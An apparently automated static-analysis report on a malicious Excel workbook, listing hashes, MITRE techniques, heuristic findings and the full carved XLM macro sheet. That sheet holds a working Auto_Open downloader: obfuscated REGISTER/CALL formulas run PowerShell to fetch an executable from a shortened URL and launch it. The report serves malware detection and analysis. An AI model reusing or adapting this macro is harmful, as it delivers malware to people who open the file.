Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a1c476cde5866229…

MALICIOUS

Office (OOXML)

146.9 KB Created: 2021-08-26 06:04:04 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-02
MD5: 11c8da58e41610e44337d78f9a1b44bf SHA-1: 100b0fb63c89170d2ae4702da232bc79a01ba2cc SHA-256: a1c476cde5866229ab7fbfffbb7d031484dbfbf068315f9b3817070e77044c9e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros that utilize dangerous functions like CALL and HALT. The CALL function is used to execute a PowerShell command that downloads a second-stage executable from 'shorturl.at/cAQ24' and saves it to '$env:public\tKdoNM.exe' before executing it. This indicates a downloader or droppper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1515 bytes
SHA-256: 2c80235da0c727a151acece09646830ffdc620303c30cffe38b5b8ebabee26f8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E7:E9"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"><selection activeCell="E9" sqref="E9"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="7" spans="5:5" x14ac:dyDescent="0.25"><c r="E7" t="b"><f bx="1">fff=REGISTER.ID("She"&amp;"ll32","Shel"&amp;"lExe"&amp;"cuteA","JJC"&amp;"CCJJ")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.25"><c r="E8" t="e"><f>CALL(fff,0,"open","powe"&amp;"rsh"&amp;"ell","-nop [Net.Servic"&amp;"ePointManager]::SecurityPr"&amp;"otocol = [Net.SecurityP"&amp;"rotocolType]::Tl"&amp;"s12;Inv"&amp;"oke-WebR"&amp;"equest -Uri shorturl.at/cAQ24 -OutFile $env:public\tKdoNM.exe;explorer $env:public\tKdoNM.exe",0,0)</f><v>#NAME?</v></c></row><row r="9" spans="5:5" x14ac:dyDescent="0.25"><c r="E9" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>